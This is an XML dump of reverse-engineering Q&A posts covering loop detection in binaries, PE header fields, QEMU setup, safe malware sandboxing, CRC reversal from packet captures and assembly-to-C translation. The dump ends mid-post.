  <row Id="12103" PostTypeId="1" AcceptedAnswerId="12106" CreationDate="2016-02-26T01:15:25.097" Score="6" ViewCount="2941" Body="&lt;p&gt;I am working on some x86 (32/64 bits) ELF binary code. These binaries are compiled from C and C++ program code and I am trying to detect loops inside the binaries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am newbie to this area, and I am wondering, what is the standard way to identify a loop in binary code? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer to use some static methods to detect the loop instances, as I am not able to generate well-performing dynamic test cases.&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="2959" LastEditDate="2016-11-30T22:48:12.213" LastActivityDate="2023-09-20T16:11:42.380" Title="What is the &quot;standard&quot; approach to find loop in binary code?" Tags="|binary-analysis|binary|" AnswerCount="5" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12104" PostTypeId="2" ParentId="12103" CreationDate="2016-02-26T11:01:06.097" Score="2" Body="&lt;p&gt;You might find &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3498/detecting-recursive-functions-in-ida&quot;&gt;this question&lt;/a&gt; about finding recursive function helpful, there are very nice answers for it. Under the binary code level, IMHO, there is only little difference about detecting loop (i.e. some &lt;code&gt;jmp&lt;/code&gt; to the same target) and recursive call (i.e. some &lt;code&gt;call&lt;/code&gt; to the same target).&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-02-26T11:01:06.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12105" PostTypeId="2" ParentId="12103" CreationDate="2016-02-26T11:56:14.960" Score="2" Body="&lt;p&gt;I don't think there's a standard way, but one approach might be to use something like &lt;a href=&quot;http://epubs.siam.org/doi/abs/10.1137/0204007&quot; rel=&quot;nofollow&quot;&gt;Johnson's algorithm&lt;/a&gt; to detect cycles in the function's directed graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find an implementation of this in libraries like &lt;a href=&quot;https://networkx.github.io/documentation/latest/reference/generated/networkx.algorithms.cycles.simple_cycles.html&quot; rel=&quot;nofollow&quot;&gt;NetworkX simple_cycles&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="1481" LastEditDate="2016-02-26T12:04:11.793" LastActivityDate="2016-02-26T12:04:11.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12106" PostTypeId="2" ParentId="12103" CreationDate="2016-02-26T13:39:05.490" Score="8" Body="&lt;p&gt;The classic, compiler theoretic answer to this question is to build a control flow graph and then do a graph analysis to identify natural loops. I believe algorithms for this can be found in the &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0321486811&quot;&gt;Dragon Book&lt;/a&gt;, and a summary is given in these slides:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cs.cmu.edu/afs/cs/academic/class/15745-s03/public/lectures/L7_handouts.pdf&quot;&gt;http://www.cs.cmu.edu/afs/cs/academic/class/15745-s03/public/lectures/L7_handouts.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also see how LLVM implements its loop detection:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://llvm.org/docs/doxygen/html/LoopInfo_8h_source.html&quot;&gt;http://llvm.org/docs/doxygen/html/LoopInfo_8h_source.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The search terms you want to find more information are things like &quot;natural loop&quot; and &quot;back edge&quot;.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2016-02-26T13:39:05.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12107" PostTypeId="1" CreationDate="2016-02-26T18:19:39.310" Score="1" ViewCount="1746" Body="&lt;p&gt;A couple of days ago I ran into an executable called &quot;carckme&quot; which was a GUI application. So I decided to figure out the serial number it generates. Properly I found out the function but when it came to debugging I had some problems with IDA pro. Everything seemed okay but it didn't stop executing the app at the breakpoint. I guess it could be because of multithreading, as you know GUI applications are implemented multithreaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came up with this issue because I couldn't really find the answer, I was wondering to ask here, at first to get to know the reason, and secondly to ask you to find and try to tackle the problem by issuing a way to make it solved.&lt;/p&gt;&#xA;" OwnerUserId="14965" LastActivityDate="2016-02-27T16:10:09.940" Title="IDA pro doesn't stop on breakpoints with GUI based applications" Tags="|ida|debugging|thread|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12108" PostTypeId="2" ParentId="12107" CreationDate="2016-02-26T18:28:18.083" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Everything seemed okay but it didn't stop executing the app at the&#xA;  breakpoint. I guess it could be because of multithreading&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, it's unrelated to whether or not the process is multithreaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set a breakpoint and the debugger didn't stop at your breakpoint, it's because the instruction at that address never got executed or the breakpoint got removed. It's hard to guess which of these happened or why without more context.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2016-02-27T16:10:09.940" LastActivityDate="2016-02-27T16:10:09.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12109" PostTypeId="1" CreationDate="2016-02-26T18:40:42.267" Score="-2" ViewCount="428" Body="&lt;p&gt;Are there any tutorials available for learning how to do encryption of an EXE ? I am particular interested on how it decrypt's itself and runs in memory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are any tutorials or post that explain the basics of this please refer me them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.  &lt;/p&gt;&#xA;" OwnerUserId="15216" LastActivityDate="2016-03-03T18:41:11.087" Title="EXE Encryption Techniques" Tags="|encryption|exe|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12117" PostTypeId="2" ParentId="1701" CreationDate="2016-02-29T18:37:05.667" Score="2" Body="&lt;p&gt;For initial and rough Python bytecode disassembly, I would be using the Python standard library &lt;code&gt;dis&lt;/code&gt; module: &lt;a href=&quot;https://docs.python.org/2/library/dis.html&quot; rel=&quot;nofollow&quot;&gt;https://docs.python.org/2/library/dis.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15168" LastActivityDate="2016-02-29T18:37:05.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12118" PostTypeId="2" ParentId="11725" CreationDate="2016-02-29T21:16:13.910" Score="4" Body="&lt;p&gt;It seems like you are compiling under amd64 (which is quite likely in 2016 ;). Compiler allocates all stack memory (but not only, the same for function arguments) with alignment to 8 bits. You assume, that int is 32 bits, and it might me 32 bits on your machine, but compiler still will be allocating 8 bytes (64 bits). So 5*8+8=48 = 0x30.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try allocating an array of five chars (aka uint8_t). The compiler will still allocate 8 bytes * number of elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read about attribute packed (gcc) or pragma pack (Windows).&lt;/p&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="1713" LastEditDate="2016-03-01T10:53:06.977" LastActivityDate="2016-03-01T10:53:06.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12121" PostTypeId="1" CreationDate="2016-03-01T13:25:41.250" Score="2" ViewCount="3421" Body="&lt;p&gt;I have an app i embedded another executable inside as a resource to see if the sizes will be different but they aint and using the resource editor i can see the app inside.&#xA;as for my target the file size is bigger than the PE size&lt;a href=&quot;https://i.stack.imgur.com/JtwbF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JtwbF.png&quot; alt=&quot;see the screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i once thought there something  embedded inside the app but how in Delphi?&#xA;as a resource i already checked. &lt;/p&gt;&#xA;" OwnerUserId="13434" LastActivityDate="2016-03-01T15:27:32.993" Title="how can file size and PE size cant be equal?" Tags="|patch-reversing|delphi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12122" PostTypeId="2" ParentId="12121" CreationDate="2016-03-01T15:27:32.993" Score="8" Body="&lt;p&gt;&quot;File Size&quot; is the size of the file on disk, according to the file system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;PE Size&quot; is the value of the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680339.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;SizeOfImage&lt;/code&gt; field in the &lt;code&gt;IMAGE_OPTIONAL_HEADER&lt;/code&gt; structure&lt;/a&gt; in the PE file. Its value is calculated as described &lt;a href=&quot;https://stackoverflow.com/a/8197500/5688434&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;IMAGE_OPTIONAL_HEADER.SizeOfImage&lt;/code&gt; is the size of the loaded&#xA;  executable/dll in virtual memory. It is not the same as the size on&#xA;  disk.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can calculate it with &lt;code&gt;VirtualAddress + VirtualSize&lt;/code&gt; of the last&#xA;  section.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;IMAGE_OPTIONAL_HEADER.SizeOfImage&lt;/code&gt; is that value rounded up to the&#xA;  value of &lt;code&gt;IMAGE_OPTIONAL_HEADER.SectionAlignment&lt;/code&gt; (usually the same as&#xA;  the page size).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SizeOfImage&lt;/code&gt; can be less than the file size if, for example, the file has an &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/2015/1562&quot;&gt;overlay&lt;/a&gt; appended to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SizeOfImage&lt;/code&gt; can be greater than the file size if, for example, the sections' virtual sizes are larger than their raw sizes, as is often the case for compressed sections.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-03-01T15:27:32.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12125" PostTypeId="1" CreationDate="2016-03-02T12:08:27.293" Score="3" ViewCount="390" Body="&lt;p&gt;I have a vmlinux ELF file to run under QEMU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My arguments to &lt;code&gt;qemu-system-arm.exe&lt;/code&gt; are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The correct &lt;code&gt;-cpu&lt;/code&gt; argument.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;versatilepb&lt;/strong&gt; &lt;code&gt;-machine&lt;/code&gt; which I'm not sure if it's the right choose, but can't see the other options with &lt;code&gt;-cpu help&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;-kernel&lt;/code&gt; flag to pass the &lt;code&gt;vmlinux&lt;/code&gt; file.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;-serial stdio -nographic&lt;/code&gt; flags with &lt;code&gt;&quot;console=ttyAMA0 console=tty1 console=ttyS0&quot;&lt;/code&gt; kernel arguments.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Why I don't see any output? I also tried the &lt;code&gt;-D&lt;/code&gt; flag to get a log file.&lt;/p&gt;&#xA;" OwnerUserId="3179" LastEditorUserId="53" LastEditDate="2016-03-02T16:42:10.517" LastActivityDate="2016-05-27T20:38:08.397" Title="Running vmlinux ELF under QEMU" Tags="|firmware|arm|qemu|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12126" PostTypeId="1" AcceptedAnswerId="12127" CreationDate="2016-03-02T14:51:28.283" Score="2" ViewCount="367" Body="&lt;p&gt;I have thousands of Linux malware samples in &lt;code&gt;ELF&lt;/code&gt; format. And I am thinking to use &lt;code&gt;dynamic analysis&lt;/code&gt; (say, &lt;code&gt;PIN&lt;/code&gt;) to obtain an execution trace of each malware sample.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am afraid such activity would crash my computer. So am I asking, how to dynamically analysis malware samples &lt;strong&gt;safely&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know somehow I need to run it in a &lt;code&gt;VM&lt;/code&gt;, but isn't it possible that the VM can be crashed as well? Should I reinstall the &lt;code&gt;VM&lt;/code&gt; at that time? basically What's the best practice to do so? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you a lot. &lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2016-03-03T08:29:34.837" Title="Dynamic analysis of malware samples" Tags="|binary-analysis|malware|elf|dynamic-analysis|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12127" PostTypeId="2" ParentId="12126" CreationDate="2016-03-02T15:41:42.447" Score="5" Body="&lt;p&gt;configure the VM with no access to network and create a clean snapshot before executing the first malware. Once the execution is complete revert the snapshot. Repeat that till you finish. (probably wanna automate it)&lt;/p&gt;&#xA;" OwnerUserId="11834" LastActivityDate="2016-03-02T15:41:42.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12131" PostTypeId="2" ParentId="12091" CreationDate="2016-03-02T21:28:58.763" Score="3" Body="&lt;p&gt;&lt;strong&gt;Got it!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The algorithm is a CRC with the following parameters, stored in those two bytes as a big-endian short:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Polynomial: 0x2e97&lt;/li&gt;&#xA;&lt;li&gt;Xor In Value: 0&lt;/li&gt;&#xA;&lt;li&gt;Xor Out Value: 0&lt;/li&gt;&#xA;&lt;li&gt;Reflect Input: True&lt;/li&gt;&#xA;&lt;li&gt;Reflect Out: True&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To figure it out, I used my packet capture data, &lt;a href=&quot;http://reveng.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;CRC RevEng&lt;/a&gt;, and some shell scripting to glue it together.  I then used &lt;a href=&quot;https://pycrc.org/&quot; rel=&quot;nofollow&quot;&gt;pycrc&lt;/a&gt; to calculate the check values on the fly to make my own network requests check out OK on the server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm considered my question answered since this method reliably gets the server to acknowledge my custom requests, but what Jason and ebux recommended for reverse engineering the binaries still looks to be the only way I'd be able to pin it down any further.  For example, there were a few different CRCs that fit all the data I'm working with. I learned quite a bit with using gdb and objdump, but quickly got in over my head.  Time will tell if I've just delayed the inevitable, I suppose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More details:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First in Wireshark I selected a good range of packets, some with the same length, some with differing lengths.  For each I exported the raw binary into a file.  (In the Packet Details frame, right-click the Data display, click &quot;Export selected packet bytes...&quot;.)  Since I didn't know for sure how the bytes were organized, but I had a good guess of which were the CRC, I made modified versions of the files with the check bytes appended instead of at the beginning, with some clunky &lt;code&gt;dd&lt;/code&gt; usage show below.  The variant that finally worked was putting the bytes at the end in a little-endian format that reveng would understand.  In a bash shell:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=example bs=1 skip=4 &amp;gt; example_crc_reverse&#xA;dd if=example bs=1 count=1 skip=3 &amp;gt;&amp;gt; example_crc_reverse&#xA;dd if=example bs=1 count=1 skip=2 &amp;gt;&amp;gt; example_crc_reverse&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These modified files were then fed into reveng.  Since I didn't even know for sure the width of the possible CRC polynomial, I looped from 1 to 16 to see what it'd find.  In bash again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for width in $(seq 1 16); do reveng -w $width -s -f example*_crc_reverse; done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even with many packets it finds a number of non-standard CRCs that fit the data, but the one above is the highest-order one that doesn't require strange xor values.  The ones found in the reveng output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;width=1  poly=0x1  init=0x0  refin=false  refout=false  xorout=0x0  check=0x1  name=(none)&#xA;width=1  poly=0x1  init=0x1  refin=false  refout=false  xorout=0x1  check=0x1  name=(none)&#xA;width=1  poly=0x1  init=0x0  refin=true  refout=true  xorout=0x0  check=0x1  name=(none)&#xA;width=1  poly=0x1  init=0x1  refin=true  refout=true  xorout=0x1  check=0x1  name=(none)&#xA;width=3  poly=0x5  init=0x0  refin=true  refout=true  xorout=0x0  check=0x0  name=(none)&#xA;width=4  poly=0x7  init=0x0  refin=true  refout=true  xorout=0x0  check=0xb  name=(none)&#xA;width=4  poly=0x7  init=0xd  refin=true  refout=true  xorout=0xb  check=0xb  name=(none)&#xA;width=10  poly=0x381  init=0x000  refin=true  refout=true  xorout=0x000  check=0x032  name=(none)&#xA;width=11  poly=0x083  init=0x000  refin=true  refout=true  xorout=0x000  check=0x032  name=(none)&#xA;width=11  poly=0x083  init=0x781  refin=true  refout=true  xorout=0x40f  check=0x032  name=(none)&#xA;width=13  poly=0x058d  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0x1c1f  name=(none)&#xA;width=14  poly=0x2e97  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0x3076  name=(none)&#xA;width=14  poly=0x2e97  init=0x258d  refin=true  refout=true  xorout=0x2c69  check=0x3076  name=(none)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I thought the 14-bit one with no xorin/xorout step made the most sense to use, but I don't have a good argument why.) In Python, with a binary request prepared as a list of integer byte values, pycrc can calculate the check value like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;crc = pycrc.Crc(width=14, poly=0x2e97, reflect_in=True, xor_in=0, reflect_out=True, xor_out=0)&#xA;crc_val = crc.table_driven(binary)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The calculated &lt;code&gt;crc_val&lt;/code&gt; from pycrc is already stored with the endianness expected by the server, so it can be placed as-is a the beginning of the message.&lt;/p&gt;&#xA;" OwnerUserId="15170" LastActivityDate="2016-03-02T21:28:58.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12134" PostTypeId="2" ParentId="12126" CreationDate="2016-03-03T08:29:34.837" Score="3" Body="&lt;p&gt;It is very unlikely that the VM application can be crashed unless you are dealing with very sophisticated ELF malwares targeting your VM version. The guest OS or the environment inside the VM can be crashed though. In the event that it happens, you don't have to reinstall VM. Just follow SnakeByte instructions.&lt;/p&gt;&#xA;" OwnerUserId="15272" LastActivityDate="2016-03-03T08:29:34.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12137" PostTypeId="1" AcceptedAnswerId="12139" CreationDate="2016-03-03T12:27:11.727" Score="1" ViewCount="784" Body="&lt;p&gt;I am quite new to reverse engineering (but have some experience with OllyDbg). What I want to do, is to attach to Windows executable file or library (mostly PE32, but x64 would be a great benefit) and record how it interacts with virtual memory in order to do some self-study and experiments. E.g. I want to have &lt;strong&gt;timestamp,operation type(read,write,allocate etc.), address, amount of data transfered&lt;/strong&gt; records for some period of program's runtime. My first thought was to use breakpoints in OllyDbg, where you can set breakpoint on the memory range and operation type. But this will cause execution to stop every time, so gathering of the data will take a lot of time. Also I need to know memory ranges, but if program will try to write into unallocated memory for some reason - I'll lose this data. Also I found that Intel Pin can do something similar to what I want, but as I understood it can't record the timestamp of memory operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions is:&#xA;Is there any tool that can fit my requests?&#xA;If not - which tools can be modified in some feasible time?&#xA;In the worst case I would be satisfied with something that can track amount of read(or write, or allocation - all separately) operations per millisecond (or other significantly small time period).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="15278" LastActivityDate="2016-03-03T14:47:54.463" Title="Memory activity tracking" Tags="|ollydbg|memory|breakpoint|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12138" PostTypeId="1" AcceptedAnswerId="12156" CreationDate="2016-03-03T13:58:00.297" Score="-2" ViewCount="447" Body="&lt;p&gt;I need assistance decompiling the following from ASM to pseudo C.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Code 1&#xA;...&#xA;mov edx, Var1       # Move Var1 to edx&#xA;mov ecx, Var2       # Move Var2 to ecx&#xA;mov eax, edx        # Move EDX (Var1) to EAX&#xA;imul ecx            # Multiply EAX (Var1) by ECX (Var2). Store result into EDX:EAX&#xA;mov edx, eax        # Move EAX to EDX&#xA;imul edx, eax       # Multiply EDX and EAX, store result into EDX&#xA;mov Var3, ecx       # Move ECX into Var3&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I commented the ASM and deduced it results in Var3 = Var2. But what would the C code look like?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Code 2&#xA;...&#xA;    mov dword ptr [esi], 1&#xA;    xor edx, edx&#xA;    mov [ebx], edx&#xA;    jmp short loc_4012F1&#xA;&#xA;loc_4012E8:&#xA;    mov ecx, [esi]&#xA;    imul ecx, [esi]&#xA;    mov [esi], ecx&#xA;    inc dword ptr [ebx]&#xA;&#xA;loc_4012F1:&#xA;    cmp dword ptr [ebx], 8&#xA;    jl short loc_4012E8&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For this second code, I'm thinking something like,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for (int i = 0; i &amp;gt; 8; i++){&#xA;int a = 8;&#xA;&#xA;int b = 9;&#xA;&#xA;int c = a * b;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Appreciate any help&lt;/p&gt;&#xA;" OwnerUserId="5804" LastActivityDate="2016-03-06T02:19:49.513" Title="Help Coverting ASM to C" Tags="|assembly|decompilation|c|" AnswerCount="1" CommentCount="0" ClosedDate="2016-03-07T17:04:27.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="12139" PostTypeId="2" ParentId="12137" CreationDate="2016-03-03T14:47:54.463" Score="1" Body="&lt;p&gt;As you noted, PIN would likely be the best option for this. Since PIN allows you to register user-defined callbacks for events, you could indeed record timestamps via your callback functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to check out &lt;a href=&quot;https://bitbucket.org/oebeling/tracectory/wiki/Home&quot; rel=&quot;nofollow noreferrer&quot;&gt;tracectory&lt;/a&gt;, which parses OllyDbg run traces. It might not do exactly what you want, but it's open source, and you could probably get your desired output with a few simple modifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AAv2d.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AAv2d.png&quot; alt=&quot;tracectory&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also hack up QEMU or Bochs for your needs, but I wouldn't recommend it as these are rather &quot;heavyweight&quot; options, especially since you're interested in monitoring only a single process.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-03-03T14:47:54.463" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12140" PostTypeId="1" AcceptedAnswerId="12141" CreationDate="2016-03-03T14:57:06.733" Score="1" ViewCount="1081" Body="&lt;p&gt;The PE-Header of Windows executables contains as its third field the &quot;Timestamp at compile time&quot;. To reach reproducibility in our build process we would like to set the time (Epoch seconds) to zero (=1970-01-01 00:00:00).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this have any side-effects? According to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.microsoft.com/en-us/kb/164151&quot; rel=&quot;nofollow&quot;&gt;https://support.microsoft.com/en-us/kb/164151&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the header does not impact the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there compiler/linker flags to get this automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&#xA;Stefan S.&lt;/p&gt;&#xA;" OwnerUserId="15279" LastActivityDate="2016-03-04T01:45:13.873" Title="What are the side effects of setting the timestamp in the PE-header to 0?" Tags="|windows|pe|binary|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12141" PostTypeId="2" ParentId="12140" CreationDate="2016-03-03T15:41:20.447" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does this have any side-effects?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, the Windows loader doesn't care about the timestamp in an EXE's PE header.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there compiler/linker flags to get this automatically?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, Visual C++'s &lt;code&gt;link.exe&lt;/code&gt; does not have a command line switch for specifying the timestamp to use. (And Visual C++'s &lt;code&gt;cl.exe&lt;/code&gt; doesn't apply since the PE timestamp is a linking timestamp, not a compiling timestamp.)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2016-03-04T01:45:13.873" LastActivityDate="2016-03-04T01:45:13.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12142" PostTypeId="1" CreationDate="2016-03-03T17:23:15.900" Score="1" ViewCount="814" Body="&lt;p&gt;SysTracer from SysReveal.com (not from www.blueproject.ro) seems to be a very nice tool for live monitoring your system and check what executable files do at your system. I saw some videos on YouTube where sys-admins used it to show e.g. how Ransomware works. In this video on YouTube ( &lt;a href=&quot;https://www.youtube.com/watch?v=Sm5TbBKeFvU&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=Sm5TbBKeFvU&lt;/a&gt; ) by the well known company &quot;Trend Micro&quot;, they mentioned (at 0:56) the website SysReveal.com, where you can download SysTracer. The website is on Google's SafeBrowsing blacklist and the tool &quot;SysTracer&quot; hits 8 (&lt;em&gt;.zip) or 9 (&lt;/em&gt;.exe) of 55 at Virustotal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate it, if you check this tool NOR share your thoughts about it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Website: sysreveal.com &lt;strong&gt;(Google's SafeBrowsing Alert!)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;SysTracer:&#xA;hxxp://sysreveal.com/download/SysTracer.zip &lt;strong&gt;(8 of 55 at Virustotal)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Image of SysTracer&lt;/em&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9KjO2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9KjO2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15280" LastActivityDate="2016-03-03T17:23:15.900" Title="SysTracer by SysReveal.com clean?" Tags="|malware|security|websites|software-security|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12143" PostTypeId="2" ParentId="12109" CreationDate="2016-03-03T18:41:11.087" Score="0" Body="&lt;p&gt;Check out packing and unpacking techniques, find and reverse some known ones to see how they work. Apart from encryption techniques, you can also check other anti-reversing techniques like the good-old code obsfucation, junk bytes and how malwares analyze your runtime environment, your registry (if in windows) and your running threads to see if they are being debugged.&lt;/p&gt;&#xA;" OwnerUserId="12537" LastActivityDate="2016-03-03T18:41:11.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12145" PostTypeId="1" CreationDate="2016-03-03T20:27:20.640" Score="7" ViewCount="346" Body="&lt;h2&gt;what I'm looking for&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have a binary that, for various reasons, I'm pretty sure is executable machine code (although possibly for a VM language, although I doubt it's Java). I'm looking for a table of byte frequencies for byte values v. architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recognize that those values will vary by compiler, operating system ABI / API, application, and binary format, but for my purposes I'm assuming they vary most markedly by architecture, and:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I just need frequencies for the actual executable code- the &lt;code&gt;.text&lt;/code&gt; section- not the entire binary.&lt;/li&gt;&#xA;&lt;li&gt;the binary's targeting one of the most common end-user operating systems from 1985 - 2005 (so, old-style unices, Linux, VMS, DOS, Windows NT, MacOS, or OSX).&lt;/li&gt;&#xA;&lt;li&gt;it was compiled with default flags on the most common compilers for those systems&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;del&gt;If all that fails, I'd at least want a list of &lt;code&gt;nop&lt;/code&gt; opcodes for all the most common architectures, since I think it's probably fair to assume most compilers use 